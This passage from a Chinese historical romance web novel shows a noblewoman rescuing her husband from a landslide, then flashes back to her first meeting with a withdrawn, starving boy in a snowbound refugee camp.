“奇哥儿。”苏甄儿转头看向站在自己不远处的奇哥儿,“阿姐不是要抛下你,若是现在被困在那里的是你,阿姐也照去不误。”顿了顿,苏甄儿又道:“若是阿姐回不来了,你也要好好活着,向前看。” 奇哥儿攥紧手中书籍,红着眼眶用力点头,“阿姐,我明白的,去走你自己的路吧。” 苏甄儿心中一动,随后释然般与奇哥儿相视一笑。 她这才发现,少年已经要比她长得高了。 “奶母,绿眉,替我照顾好奇哥儿,奇哥儿,公府就交给你了。”- 洪流之下,不止陆麟城带领的鬼面军被困,还有几个村子都被淹没了。 “听说是洪流先淹了村子,闻严带领鬼面军救援,不想遇到山体坍塌,被困在了里面。”谢楚安看到出现在营帐中的苏甄儿,面露诧异,随后快速给她解释了一下现在的情况。 “进去找了吗?”苏甄儿虽然心中焦急万分,但她知道现在最需要的是保持冷静。 “山道还没清理出来,”谢楚安面露难色,“而且人手也不够。” 谢楚安不知道这里受灾人数有这么多,他只以为是陆麟城一队遭遇山体塌方,却不想下面几个村子的百姓都需要救援。如此,能分散出来清理山道,寻找陆麟城的人手就更少了。 “我已经给陛下写信,让他加派人手。” 苏甄儿转头望向还在下雨的天,不远处是那座困住了陆麟城的山。雨雾萦绕下,美如山水墨画,可这样的美景却残忍的困住了她的爱人。 “什么时候能清理出来?” “顺利的话,明天早上。” 苏甄儿一夜未眠,她来到被堵住的山道口,看着谢楚安带人清理巨石。 工具不够,都是人工挖掘。 “我能带马爬过去吗?”苏甄儿突然开口。 谢楚安听到这话立刻皱眉,“不行,太危险了,还在下雨,洪流不知道什么时候又会爆发。” “是啊,洪流不知道什么时候又会爆发,那么,陆麟城该怎么办呢?他一个人在那里要怎么办呢?” 谢楚安看着面前流泪的苏甄儿,咬牙道:“我去找他。” “我去,我有红缨,它认人,你骑不了它,而且山下的百姓也需要谢大人。”苏甄儿握紧红缨的缰绳,“陆麟城不一样,他只有我了。” 红缨是绝对的汗血宝马,它在苏甄儿手上却从来没有机会展现一下自己的实力,被她养得如同温室中的花朵一般,没了脾气。 “红缨,你可以的。” 苏甄儿抚摸过红缨后,深吸一口气,牵着它从凹凸不平的石头上攀爬过去。 “苏甄儿!”谢楚安急了,想牵马去跟她一道,却不想自己刚带着马踏上碎石,山体上又有石块砸落,挡住了他的路,无奈,他只能眼睁睁看着那个瘦弱的身影艰难远去。 “大人,我们的工具和药物吃食少了一份。”一侧有锦衣卫过来禀告。 谢楚安抬头看向苏甄儿消失的方向。 原来你早就决定好了,是吗?- 走过一段极其崎岖的山路,苏甄儿迎着猎猎秋风,终于来到一处较为平坦的地方。 冷风从她面颊上刮过,就像是有刀子顺着刮过她的脸。 苏甄儿咬紧牙关,握紧缰绳,带着红缨到处寻找。 “陆麟城!陆麟城!” 四周似乎她应该活人,到处都散发着死亡的气息。她踩过别人浸泡在泥水里的尸体,看到被砸断的胳膊腿。 心中恐惧攀升到最高峰,苏甄儿脸上的泪被风吹干,她面色灰白,攥着红缨缰绳的手也被冻得发白无力。 一个踉跄,苏甄儿摔在碎石上。 肌肤被磨破,鲜血溢出,与泥水混杂在一起。 飘飘细雨落下,她身上的衣裳变得沉闷而湿漉,深厚的淤泥让她连抬脚都变得艰难。 苏甄儿往前看,到处都是泥水、石头、断枝、肉块。 苏甄儿的心理防线突然崩溃,“陆麟城……我找不到你……” “嗷咴!”突然,一道马鸣声从不远处响起。 苏甄儿扭头,在灰蒙蒙的雨势里看到一匹半白布白的脏兮兮灰马。 “珍珠!” “嗷咴!”珍珠再次朝苏甄儿示意,然后扭头朝深处跑去。 苏甄儿跃上红缨,“驾!” 雨势渐大,山道上开始堆积起红色的泥水,越显湍急。天际处响起炸雷,震得人肝胆神灭。 洪流和坍塌随时而至。 苏甄儿突然想到陆麟城徒手爬塔救她的事。 那个时候,他也是这样的心情吗? 有个人,居然会比自己的生死还重要。 苏甄儿原本以为陆麟城爱她更多,可现在她才发现,她与他一样多。 她不会主动放弃生命,可她发现,陆麟城比她的生命还要重要。 他愿意舍弃性命为她在徒手攀爬五层失火宝塔,她也愿意舍弃性命为他一搏。 恐惧是本能,爱他是勇气。 苏甄儿身穿粉色裙衫,逆流而上,嘶哑的声音伴随着马鸣,飘散于风中。 “驾!” 一路随珍珠来到一处坍塌之地,苏甄儿的身体被风吹得僵冷,她下马时又不甚摔了一跤。 快速从地上爬起来,苏甄儿左右环顾,到处都是散乱的石头和泥水。 “陆麟城!” 雨势模糊了视线,苏甄儿在湿滑的山道上寻找。 珍珠低头鸣叫,苏甄儿垂目,看到一只从土堆里露出来的,握着续命缕的手。 “陆麟城!”苏甄儿飞奔过去,使出吃奶的力气想推开横在上面绣着芙蓉花色的厚重木板,却因为力气实在太小,所以没有如愿。她扭头从红缨身上取下一个铁锹,利用杠杆原理,撬开了木板,露出下面的缝隙。 缝隙扩大,空气瞬间充盈,露出男人被困在里面的身影。 他满身灰泥,蜷缩在缝隙里,一只手露在外面,听到声响,艰难睁开眼。 粉色裙衫的少女俯身朝他看来,淡淡的芙蓉香悠然而至。 “是做梦……” 苏甄儿破涕为笑,“傻瓜,不是做梦。”她握紧陆麟城的手,“不要睡,我可是问过山神的,我们会一生一世在一起。” 男人经过近七日的断食,身体虚弱,幸好一直在下雨,能喝到一点雨水。 “走,很危险……” “若是你没有危险,我也就不会来了。”苏甄儿语气郑重的回复完毕,开始冷静的观察陆麟城的情况。 厚重的箱子木板意外替他格挡住了大半碎石,并与侧边的石头形成三角之势,勉强容身。 幸好这木板够厚够硬,母亲大概也不会想到,这箱子居然还会救下她女婿一命。只是他的腿陷在了泥里,禁锢住的行动。 雨势越来越大,山体有再次坍塌的风险,如果苏甄儿现在放弃陆麟城回去搬救兵,等她回来的时候,说不定这个脆弱的藏身之地已经坍塌。 “陆麟城,我现在要用马把你拉出来,忍着点。” 苏甄儿用铁锹固定住木板,防止三角坍塌,然后解开自己的腰带,绑在陆麟城的肩背处。 迎着雨势,苏甄儿指挥红缨和珍珠一起将陆麟城从里面拽了出来。 男人刚一出来,支撑着的铁锹正好断裂,那处彻底坍塌。 苏甄儿下意识松一口气,低头看到满身污泥趴在地上的陆麟城,有种劫后余生之感。 她走过去,吃力地撑起他。 “上来,我们回家,陆麟城。”- 山道终于疏通,谢楚安刚刚准备带人进去,便见前方远远行来两个人和两匹马。 “救出来了?”谢楚安的脸上露出不可置信。 在他的认知里,像苏甄儿这般娇弱的贵女,怎么可能做到这样的事。 他甚至以为,她会死在里面。 “他的腿伤了,需要医士,应该还有点脱水的症状,再让人拿些米粥来。”苏甄儿和谢楚安一齐将陆麟城搬入帐篷。 “好好好。”谢楚安一个劲儿地点头,赶紧去把医士请来。 看到陆麟城安稳的被放在床榻上,苏甄儿终于脱力,倒下的瞬间被进来的谢楚安接住,“哎哎哎……” 医士提着药箱进来,“先看哪个啊?”- 陆麟城的伤势恢复的很好,正裹着绷带坐在床沿边给苏甄儿喂粥。 端着药碗正准备进来的谢楚安一个扭头又丝滑的出去了。 这男人的恢复能力简直不是人,反而是去救人的苏甄儿看起来病恹恹的。 “一定是山神保佑,等我们回去你要跟我一起去还愿。” “好。”陆麟城温柔点头。 “可惜,续命缕断了。”苏甄儿看着那根摆在床头的续命缕,又脏又臭的还断成了两半,可陆麟城就是不准她扔。 难不成他又要把这个东西放进他的宝贝密室里? 上次她只看了一眼,那个宝贝密室里到底藏了多少她的东西啊。 苏甄儿甜蜜又嫌弃。 “算了,我再给你编一个,谁叫我爱你呢。你看,为了救你,我的指甲都断了!我养了好几个月呢。”苏甄儿伸出自己的纤纤素手,现在手指上面还残留着那日里斑驳的伤口痕迹。 男人突然倾身过来,紧紧抱住纤细瘦弱的女人。 “我爱你,甄甄。” 他的云霓之望,竟真对他动了春心。 第70章 不复生 今年姑苏的冬天格外冷, 冷得苏甄儿几乎连营帐都不出。 一月前,她随母亲来到此地救助难民,因为大雪不断,阻断了道路, 所以只好留在这里等雪化去再走。 今日雪倒是停了, 只是铲除堆积在路上的大雪还需要耗费诸多时日,不能立即启程。 冰溜子悬挂在帐篷前, 凝结着细瘦干枯的枝桠, 到处都是白茫茫一片。 尤其是在这姑苏城外,古寺门前。 白雪覆盖长桥, 伴随着淡淡飘来的佛香,大家虔诚的叩拜神明。 钟声幽幽,震落星星碎雪。 苏甄儿一会儿探头看上外头一眼, 被冷风一吹寒了眼又缩回来。过一会儿又探出头去看一眼,伸手接些碎雪,捧进营帐内,刚刚坐到炭盆边,就立刻化成了水,顺着指缝滴滴答答往下淌。 一块帕子从旁边伸出, 替她擦拭干净手上雪渍, 然后又将怀中自己焚上了香饼的手炉递给苏甄儿。 “母亲。”苏甄儿将面颊贴在梁氏的肩膀上,嗅到母亲身上淡淡的梅花香。 母亲喜欢梅花, 手炉内也烧着梅花香饼, 熏得人身上满是梅花香气。 小时候,苏甄儿总以为母亲是天上下凡的梅花仙子,不然怎么长得这般好看,身上又总是带着一股淡淡的梅花香气呢? 后来她大些, 母亲抱着她一起制作梅花香饼,她才知道原来母亲身上的香气是从这里来的。 母亲的屋子里常年摆放着四季梅花,总是被插的很好看。 梅花四溢,伴着粉白的纱幔,还有母亲温暖的怀抱,一直陪伴到苏甄儿长大。 比起母亲对梅花的喜爱,苏甄儿更爱芙蓉。 芙蓉的香气没有梅花清冽浓郁,可花枝招展又不艳俗。 虽然香味太过淡雅,很难获取,但是苏甄儿耗费数年终于在母亲的帮助下制造出了独属于自己的芙蓉香。 苏甄儿拿了小桐火箸拨开手炉里的灰,然后取了自己的芙蓉香饼替代梅花香饼。 霎时,帐子里的梅花香就被芙蓉香给盖住了。 “挑。”梁氏好笑地摇了摇头,冰冷的指尖点过苏甄儿鼻头,“狗鼻子吗,嗯?” 苏甄儿顺势歪倒在母亲怀里,将母亲的手拢在一起,两人用着同一个手炉。 即使是在如此温暖的帐子里,母亲的手还是冰凉凉的。 梁氏将自己的毯子分给苏甄儿一半,两人靠在一处说话。 “听说你一月前与我一道来此地的路上救了一个少年郎?” “母亲也知道了?”苏甄儿仰头看向梁氏。 “那官府都谢到我帐子门口了。”梁氏笑着摇头,“你哪里来的那么大胆子,居然敢射杀朝廷的通缉犯。” “虎父无犬女。”苏甄儿骄傲地抬起下颚,“父兄在战场上打仗,我也能在姑苏抓到匪徒。” 梁氏无奈摇头,“很危险。” “我知道,”苏甄儿蹭着梁氏,深深吸了一口她身上的梅花香,“我身边有护卫在,我才敢这样的。”顿了顿,苏甄儿又想起一件事来,脸上显出恼怒之色,“我救的那人,他不想活。” 梁氏一顿,却是没有说话。 “我很生气,泼了他粥。”苏甄儿小心翼翼抬头看向母亲。 母亲轻抚她的脸,“甄姐儿,这个世界上并不是所有人都觉得生命有意义。” 苏甄儿歪头,不懂母亲的话。 她只是懵懂提问,“那到底生命有没有意义?” 梁氏温柔道:“你觉得有便是有,你觉得没有那就没有。”- 大雪之后,除了公府的人,身强体壮的难民们也跟着一起铲雪,并将被大雪不甚压垮的营帐重新搭建起来,偶有被压在营帐下救出来的难民也被重新安置妥当。 前几日大雪不仅压垮了很多营帐,附近村子里也有民众受灾。他们大多住在茅草屋里,甚至买不起棉衣,或有冻病的,塌了土坯屋子的,母亲也照单全收。 要照料的难民多了,人手便不够了,众人自发组织起自救。 大家都没有闲着,苏家主母自掏腰包替众人买了棉被袄子,吩咐管事发放下去。 苏甄儿也收拾了自己不要的旧衣裳,拿去典当行贩卖,换了便宜的棉布鞋袜,另让人买了几框子炭盆供难民使用,替母亲减轻负担。 苏甄儿生活在锦绣堆里,吃穿用度一切都是最好的。 在来到这里之前,她甚至不知道冬日天寒到会冻死人,直到母亲跟她说,今年姑苏突然大雪,已然冻死百人。朝廷也没有动静,只顾着打仗。 幸好这场雪停了。 今日难得天气晴朗,虽然外头的温度依旧像是冰窖似得,但十几岁的少女并未经历后面的家人离世之痛,导致旧疾复发。少女自幼弱小的身子在母亲的养护下与常人一般无二,除了力弱些,因此,像这样的日子,多穿些出去也就好了。 戴上厚实的毡帽,苏甄儿裹上斗篷,拿上自己的小弓箭就要出去了。 再有一年就是她迟到的及笄礼了,她一定要让父兄看到她突飞猛涨的射箭技术。 “别跑远了,外头乱。”苏母安静地坐在绣架前,偏头叮嘱苏甄儿。 梁氏素日里便是一副脸色苍白,看起来没什么血色的模样。今日营帐内不透风,烧了两个炭盆,熏得她苍白的面颊上渗出两抹嫣红色韵,反而衬得整个人容光焕发不少。 “知道啦。” 在营帐里黏糊了母亲一个多月,梁氏也受不了她了,将人赶了出去晒晒日头,玩闹玩闹。 自然,年纪尚小的苏甄儿虽有心陪伴母亲,但也耐不住整日里闷在营帐里的寂寞,再加上最近母亲的身子看起来活力不少,更是按捺不住,一会儿就跑得没了影子。 只是这附近能玩的东西实在是太少了,也没有同龄的玩伴,就连绿眉都不在身边。天气太冷,她老子娘冻病了,虽然就在附近营帐,但绿眉的老子娘不让苏甄儿过去探望,也不让绿眉来找苏甄儿,生恐将风寒传给小姐。 苏甄儿踢着碎雪,鼻头被风吹红。 若是从前住在姑苏城内的时候,现在她不是在梅园参加雅集,就是在跟贵女们一道附庸风雅的饮食作画,顺便探讨一下最近姑苏城内流行的脂粉妆容和衣裳服饰,还有一些时兴的簪子首饰,然后再用些厨娘做的新糕点。 如今只能在营帐附近转悠。 “小姐好。” “小姐小心脚下。” 到处都是搭建营帐的布料横木桩,苏甄儿小心避开。 虽然她用厚重的领子遮挡了半张脸,但很多人还是从她身上的穿戴认出了她。就算不认识,这份锦衣华服和小淑女气质,也值得他们唤出一句小姐。 “嗯。” 大家都很忙碌,苏甄儿穿梭在人群里,看到前面山坡上的腊梅,心中一动,便往那处去了。 给母亲摘些梅花回去- 因为母亲的身子日益不好起来,所以苏甄儿才决定陪伴母亲来到此处救助难民。 其实从前难民并没有现在这么多,直到前年水患开始,朝廷救助敷衍,贪官趁机敛财,听说漏到下面的连颗米都没有。就这样,河北那边还要让人上缴税收,将人逼到卖儿卖女也不够的地步。 这些流民聚集造反,封地藩王趁机掠夺土地,制造小型战争,摩擦不断。大周皇帝喜大好功,不安抚流民就罢了,甚至直接派兵镇压。大周兵力被分散成两拨,一拨与各路藩王打在一起,一拨对造反的流民下手,到处都很乱。 连年战火,百姓无安身立命之地,如同动物一般,放弃奋斗了半辈子的家产,被迫迁徙。 身为世家贵族,苏甄儿的生活对比起这些百姓来说已经是足够好了。只是她也有自己的伤心之处,父兄作为将领,常年领兵在外,难得回来,她甚至都不记得父兄的模样了。 母亲身子日益不好,每日里汤药不断,望向她的眼神之中满是化不开的愁绪。 苏甄儿拿着小弓箭,踩着日光和落雪来到河边。 原来梅花在河对岸,今日是不是摘不到了? 天空初霁,河面上的冰化了一半。 因为此处难得有人过来,所以对比营地那边被踩得乱七八糟的黑色脏雪,此处的雪干净漂亮,让人不忍踩踏。 谁能想到呢,就是这样漂亮的东西夺走了数百人的性命。 苏甄儿抬头,伸手拂开毡帽前垂落的白色浮毛,露出盈盈黑眸,看到皑皑白雪之上有一串清晰的脚印,顺着一直到河边。这脚印没有鞋印子,更像是赤足。 这么冷的天还有人赤足? 苏甄儿顺着脚印往前走。 路边碎雪断断续续飘落,被风一吹,混入河水之中。 日光下,一个纤瘦的背影浸泡在水中,还在往前走。 冰冷的河水已经淹没了他的腰。 寻死? 苏甄儿弯腰,捡起地上的雪随意捏成一团就朝那少年砸了过去。 她有这方面的天赋,不管是射箭,还是玩弹弓,亦或者是投壶,只要她出现,必拿第一名。 可是很奇怪,那雪团并未砸到少年头上。 他像是在脑后长了眼睛一样,十分准确地避开了那颗雪球。 雪球砸进水里,溅起水花,扑在少年脸上。 这么冷的水,他却是连哆嗦都没有哆嗦一下。 姑苏难得下雪,苏甄儿也不知道南方的雪跟北方的雪是不一样的。北方的雪松软干燥,南方的雪湿滑冰冷,攥成一团之后,只会变成冰团子。 因此,若是真砸上,说不定要出事。 苏甄儿听到那雪团入水砸起的水花也是吓了一跳,然后才知道这雪团不能砸人。 幸好,并没有砸到人。 少年转头,朝她看过去。 他身上穿着单薄破烂的衣服,烂布料下露出泛着青色的肌肤,那是被冻出来的。他很瘦,苏甄儿甚至能透过单薄的衣物看到他凸起的脊背线条。 少年黑色的长发湿漉漉的凝结着冰,垂落下来盖住半张脸,立在冷风中,看起来像一只狼狈到了极致的小狗。 有点眼熟。 苏甄儿一时间想不起来,可这并不妨碍她生气。 她的气愤来自于母亲如此费心费力费钱的救助他们,甚至亲自进入营帐开导抚慰,战场上的父兄豁出性命拼命保护他们安危,他却还要去寻死。 年轻的少女不会想太多,她甚至不懂一个人为什么会没有生的希望。而直到一年之后,母亲与父兄相继离世,她才明白少年的绝望来自于何处。 可现在的苏甄儿只会想,活着不应该是这么容易的一件事吗?有吃有喝就能活。就像前几日,还有一个躺在营帐里的少年意图用不吃东西来结束自己的生命,原本这样的事情也不会传到她耳朵里,母亲会提前过来,温柔安抚,耐心开导,只因为那少年是被她救回来的,所以她莫名其妙就更多了一份责任心。 只是她素来不太会安抚别人,作为公府嫡女,都是别人捧着她的。 因此,因为太生气,所以没有控制住自己的脾气给他泼了一脸的粥,但听医士说,那少年开始吃东西了。只是不愿意让医士治疗,也不肯喝药。 医士说这少年身上有奇怪的脓疮,脉象也很奇怪,像是之前用过什么太凶猛的药,不过因为身体素质强悍,所以靠自己抵御了过去。只是那药性太毒,累积在身体里,怕是时不时还会发作,若想彻底清除掉,估计只能等着身体自己将其排出去,待到弱冠之后,应当能彻底好转。 苏甄儿对这些事情不感兴趣,她只知道,她终于认出来了,面前站在河里的少年不是别人,正是上次被她泼粥的那一个。 虽然他的黑发长到盖住了半张脸,但苏甄儿就是莫名其妙认出来了,可能是那份让人难以忽略的古怪阴暗气质和实在是太过瘦弱的身体吧。 “你给我上来!” 小淑女气得连仪态都不顾了,站在雪地上跳脚。甚至拉起了自己的弓箭威胁道:“你不上来我就射死你!”说完,苏甄儿自己都愣住了。 他不就是要寻死吗?她射死了他,他不正好称心如意了。 生气之后,苏甄儿又开始伤心。 她想到过年前偷听到医士跟母亲说的话,说今年冬天太冷,母亲恐难熬过去,如此她才会黏着母亲来到这里,然后跟块黏糊的年糕似的粘着梁氏不放。年前原本是她的及笄礼,父兄却没有回来,母亲知道她伤心,便替她推迟了一年。 她听说是父兄前线凶险,被敌军围困差点回不来。 午夜梦回,苏甄儿就开始做噩梦。 一会儿是母亲躺在床铺上怎么都喊不醒。 一会儿是前方传来战报,说父兄回不来了。 因为未曾经历,所以苏甄儿还不明白死亡意味着什么,她只知道,死亡会让她失去自己心爱的家人。 为什么会有战争,为什么一定要打仗。 “呜呜呜呜……” 少女突然蹲到地上,呜咽哭泣起来。 她不敢将自己做噩梦的事情告诉母亲,也不敢告诉奶母和绿眉,憋到现在,终于决堤。 少年一愣,胡乱擦洗了一把脸,踩着水波,从河中走出来。 他朝她走过去,却并不敢靠近,只是远远站着。 “我在……洗澡。” 因为长久没有开口说话,所以少年的嗓音有些哑。 洗澡? 少女抬头,眼眶微红,纤细黑长的眼睫上还残留着豆大的眼泪。 “谁会在河里洗澡。”她蹙眉,因为刚才的哭泣,所以显得整张脸更涨红了几分,看起来凶巴巴的委屈。 少年低头,没有说话。 他从小到大都是在河里洗澡的。 冰冷的河水冲刷干净身上的血污,流淌过刺痛的伤口,挖出腐烂的血肉,看着它们随河水一起消失在黑暗中。 虽然少年在撒谎,但苏甄儿想,起码他从河里出来了。 “你不冷吗?” 少年摇头。 苏甄儿看着他都觉得冷。 “喂,你知道这个世界上最不能后悔的一件事是什么吗?” 少年继续摇头。 苏甄儿的声音变低,她摩挲着手中半旧的小弓箭,说,“是人亡则死,不可复生。” 少年想了想,继续摇头。 “怎么,难道你还想寻死?”苏甄儿的声音再次拔高。 少年咬唇,“我,没读过书,不懂。” 少女香腮挂泪,“啊?” 70-80 第71章 小狗狗 少女站在少年面前, 与他一般高。 不过按照一样身高,女子素来看起来会比男子更高挑些的实际现象来看,低垂着头,背脊佝偻的少年确实看起来比苏甄儿更弱矮些。 “人亡则死, 不可复生的意思是生命很珍贵, 放弃生命是世界上最不能后悔的一件事。” 少年的目光从黑发中一闪而过投向她,然后又快速撤回, 他闷闷地发出一个音, “嗯。” 苏甄儿想,他应该是听进去了, 想到这里,少女的语气也变得温柔和缓不少,“母亲在那边设了帐子, 你可以去里面读书。”苏甄儿抬手指向前面不远处的营帐地,因为不知乱战持续多久,所以梁氏不止救助难民们的衣食住行,还请了医士和先生过来。 医士帮助难民们治疗平日里的一些小毛小病,老师则在帐子里给年幼的孩子们讲课,教授他们做人的基本道。 少年低头, 不语。 他曾路过那帐子, 里头的孩子都在十岁以下,像他这般年纪的一个都没有。当然最重要的是, 他不能适应人多的地方。 少年垂首, 安静地站在那里,身上薄薄的湿衣裳被风一吹,变得硬邦邦的。 看到他这副模样,苏甄儿顿时也跟着感觉自己浑身冰寒, “不是分了棉袄吗?你没拿到?” 少年依旧低着头,不吭声。 若非方才听到他说话了,苏甄儿还当他是个哑巴呢。 好冷。 苏甄儿也没了继续跟“哑巴”交流的心思,“你跟我一道回去吧,我带你去找吴伯。”说完,苏甄儿突然想起自己是来摘梅花的,她下意识看到河对岸的梅,再看一眼快要被风吹成冰棍的少年。 算了,下次再来摘吧。 还是人比较重要。 “走吧。” 少女少的可怜的一点责任心在今日全体爆发,她领着少年去找吴伯。 那少年虽然不吭声,但倒也听话,乖乖跟在她身后,微厚的雪地上留下两人清晰的脚印。 寒风冷冽,前方飘来若有似无的芙蓉花香气。 少年悄悄抬眸。 素雪银天之中,她是独一方色彩。 雪地上,少女的脚印比自己小了一圈,他目光上移,前方斗篷摇摆,出现在视线中的是绣着锦绣花边的柔软斗篷和鞋尖缀着大颗圆润珍珠的绣花鞋。 干净柔软的鞋子,连踩出来的脚印都是白皙圆润的。 少年的赤足不小心踩上少女的脚印,冰冷的雪水沾染上肌肤,少女原本清晰的脚印边缘变得模糊浑浊,失了美感。 他下意识抿唇,赤足避开少女的脚印,走在侧边。 “对了,我刚才,刚才不是在哭,只是沙子进了眼睛,你知道吧?”走到一半,前方营地白眼袅袅,似在分发粥食。 少女突然停住,偷偷睨他。 少年顿住动作,双足藏入雪中,他歪了歪头,像是在思考,然后点头。 看到少年点头,少女满意一笑,眉眼如画- 营地内忙得很,热粥饭食铺了一桌,众人正端着碗盆排队领取。其中负责的一人远远看到苏甄儿和少年的身影,面色一变,立刻奔过来,插在两人中间,“小姐。” 话是对着苏甄儿喊的,眼神却警惕地落到苏甄儿身后的少年身上。 过来的人是一位穿着长袄,气质斯文儒雅的中年男人,苏甄人唤他吴伯。 吴伯作为公府管事,随主母一道过来救助难民,性格温和善良,大部分事情都是他在亲力亲为的负责。 “小姐,你没受伤吧?”吴伯一眼看到苏甄儿红肿的眼睛,脸上露出担心之色。 吴伯是苏家老宅的管事,自苏甄儿从金陵来到姑苏之后两人便一直相处着,算是看着她长大的,自然是心疼自家小姐的。 苏甄儿脸上闪过尴尬心虚之色,“没事,沙子进我眼睛了……”苏甄儿迅速转移话题,“吴伯,你替我拿棉袄给他,还有鞋袜,对了,再给他准备一桶热水洗浴,再拿些吃的吧。” 吴伯看着苏甄儿身后的少年,欲言又止。 苏甄儿不解,“怎么了?” “我给过,他不要,也不愿意住帐篷,也不要我给他的吃食。” 苏甄儿疑惑,“你上次不是说他愿意吃东西了吗?” 吴伯脸上一闪而过尴尬之色。 上次小姐随意问了一嘴,他便答了,不过并未答的彻底。 这少年吃的都是他不知道从哪里寻来的食物。 “小姐,别管他了,您可得离得远些,他说不定是这儿……”吴伯伸手点了点自己的脑子,意思是那少年大概率是脑子有病,“他好像是个哑巴,从来不说话,而且力气大的很,三五个大汉都近不得身。就前些时间那个医士,若非他躺在床上没力气反抗,连把脉都不行。” 苏甄儿回想了一下,从刚才见面到现在,他确实一直在跟她保持距离。可刚才两人相处之时,苏甄儿并不觉得他有什么太大的问题。 而且,他会说话啊。 只是说得少罢了。 “我带他去领。”苏甄儿朝吴伯身后探了探头,正巧,一偏头就看到了有人抱着被褥棉衣从帐篷里出来。 “是那吧?” “小姐……”吴伯还要再劝,便见自家小姐朝那少年一挥手,“跟我过来。” 那少年打着赤脚,身上的水都冻成冰溜子了,跟在锦衣华服的小姐身后,安静且乖巧,哪里有在旁人身边时那股子倔强狠毒的劲儿。 吴伯瞪大眼惊疑一声,看看自家小姐,再看看这少年。 “这怎么像是……”吴伯大概也觉得下面的话不好听,变成了自言自语,“狗认主了似得。” 虽然这样说,但吴伯也不敢将自家小姐与这样危险的一个少年放在一起,立刻跟了上去。 苏甄儿领着少年来到帐篷里,负责分发东西的下人看到来的人是自家小姐,立刻恭恭敬敬地站起迎出来,“小姐。” 帐篷不大,置着很多竹筐,里面放着要分给众人的东西。 “棉服在哪?” “在这,怎么劳烦小姐您亲自过来……吴总管。”那人话罢,看到随在苏甄儿身后的吴总管,赶紧又打招呼。 “没事,你去忙吧。”吴伯将人挥退,随后不赞同地看向苏甄儿,“小姐,这里杂乱,不是你该来的地方,万一磕着碰着……” 苏甄儿早已习惯吴伯的絮叨,她一边点头道:“我知道了,吴伯。” 一边兴致勃勃的找到置着棉服的竹筐,朝少年招手,“过来。” 吴伯:…… 少年挪步,走到苏甄儿面前。 虽然隔着一米距离,但还是太近了。 近到连呼吸都被那股香气霸占。 少年下意识屏息,随后小心翼翼吸入一口气,感觉整个人都被那股香气浸满。 少女拿起一件靛青色的照着少年身上衬了衬,“太文雅了。”然后又拿起一件自己喜欢的粉红色,“太粉了。”最后拿起一件压在下头的黑色棉袄,“这件呢?你觉得怎么样?” 沉闷的黑色原本不适合这个年岁的少年,可他周身的气质却莫名与这股黑融合的极好。 “好。”少年点头。 “我也觉得你穿黑色好看。” 苏甄儿满意的将棉袄递给他,然后又让他自己取了鞋袜和鞋子,“吴伯,帮他弄一桶热水洗澡。”说完,苏甄儿看到桌子盘子里居然还有给众人分发的皂角,便伸手拿了一块。 四四方方的皂角散发着淡淡的皂角香气,是纯天然的皂荚树的果实香味。 “这个很好闻,给你。” 少年垂目,看着少女递过来的皂角,伸出指尖,轻轻触到皂角边缘。 少女松手,皂角滑进他掌心。 第72章 是怪物 少年沐浴很快, 吴伯才一个转身,从另外的帐篷端了祛风寒的姜汤来,这边他已经出来了。 少年从未洗过热水澡,他有些不适应, 迅速冲洗一遍之后, 带着满身热气从帐篷里出来,黑色棉服套在他身上略显大了点, 长发湿漉铺散下来, 脸上依旧盖着黑发,只能勉强看清鼻尖到下颚的轮廓。 清淡的皂角香气萦绕在其周身, 少年动了动鼻尖,他的身上第一次出现这种味道,让人略感不适, 可他并不讨厌。 吴伯虽然对少年的怪异行为有些不满,但他心地纯善,也不会故意针对。 他将手中姜汤递给少年,“喝点姜汤驱寒。” 少年垂目看那姜汤一眼,没动。 吴伯皱眉,“快些喝, 不然凉了就没效果了。你别以为自己年纪轻就能乱来, 等到老了,这病那病都得找上你。” 年纪大的人似乎总喜欢絮叨。 面对吴伯的絮叨, 少年不动如山。 吴伯无奈, 转头看向正在努力喝姜汤的苏甄儿,“小姐,他不要。” 苏甄儿坐在帐篷外的圆凳上,凳子上绑着软垫, 不远处便是正在施粥的梁氏。 梁氏朝苏甄儿这边望了一眼,苏甄儿迅速端起碗喝上一口。她的舌头被姜汤辣得麻麻的,苏甄儿吐了吐舌头,舌尖沾染到外面的寒意,呼出一团白雾,被冷到之后,她又迅速往回缩。 天气冷寒,这姜汤是梁氏特意让吴伯给她端过来的,大家都有,只梁氏知道苏甄儿不爱喝这种东西,便让吴伯盯着她喝完。 果然如梁氏所料,辛辣的姜汤苏甄儿只喝了一口就喝不下了,奈何吴伯在身边,若她不喝完,定是要被盯着念叨的。 秉持着不能自己一个人受苦的原则,苏甄儿对着少年说了一句,“快喝。” 这边话音刚落,那边吴伯手上一空,那碗姜汤已经被少年端走。 吴伯:…… “吴总管,补货的新被褥到了。”那边有家仆在唤吴伯,“您过来清点一下,签下单子,一共十床。” 吴伯叮嘱苏甄儿,“小姐,要将姜汤喝完。” 苏甄儿乖巧点头,当着吴伯的面又喝一口。 吴伯放心去了,苏甄儿见吴伯走远,又赶紧朝梁氏那边看了一眼,见自家母亲正在侧身碗碟,便立刻站起来,伸长手臂,将剩下的姜汤倒给了少年。 “你身子弱,你多喝些。” 少年:…… 少年沉默了一下,开口道:“辣。” 苏甄儿感受到他微弱的抵抗,点了点头,敷衍道:“姜汤嘛,都这样。” 少年继续沉默了一会,苏甄儿见吴伯已经清点完被子,签完单子,往这边走了,心虚又焦急,“快喝。” 在苏甄儿的催促声中,少年终于仰头,将姜汤喝完了。 下一刻,他的脸上泛起潮红,少年脸上虽有疮印,但脖子却很白净,那股潮红从脖颈蔓延,连耳垂都红了。 被辣的。 苏甄儿莫名心虚,“没,没这么辣吧。” 姑苏的菜色多是文雅清淡,又喜没什么调料的河虾鱼,因此很难找到辣菜,苏甄儿的口味也是随了姑苏菜系,嗜甜,吃不了辣的东西。 姜汤这种东西虽辛辣,但比起那些辣物是不一样的,苏甄儿也能喝上一碗,只是她没想到,小小一碗姜汤竟将少年辣成这样。 “小姐,喝完了吗?”吴伯回来检查了。 苏甄儿立刻点头,将自己的空碗展示给吴伯看。 吴伯满意道:“小姐长大了。” 苏甄儿心虚的将碗递给吴伯,吴伯转头,看向站在一旁的少年。 “你怎么了?” 少年肌肤的红色很明显。 “他热的。”苏甄儿迅速抢答,然后微笑着看向少年,“是不是?” 少年停顿一下,随后在少女的微笑中缓慢点了点头。 吴伯看一眼寒风冷冽的天,再看一眼少年。 真有这么热吗? “我去寻母亲了。”怕被揭穿,苏甄儿快速脱身来到梁氏身边,替她一起给难民分发粥食。 看着跟块小粘糕一样粘在自己身上的苏甄儿,梁氏伸手替她擦去唇角的姜汤水渍,“今日怎么如此乖巧?莫不是做了什么坏事?” 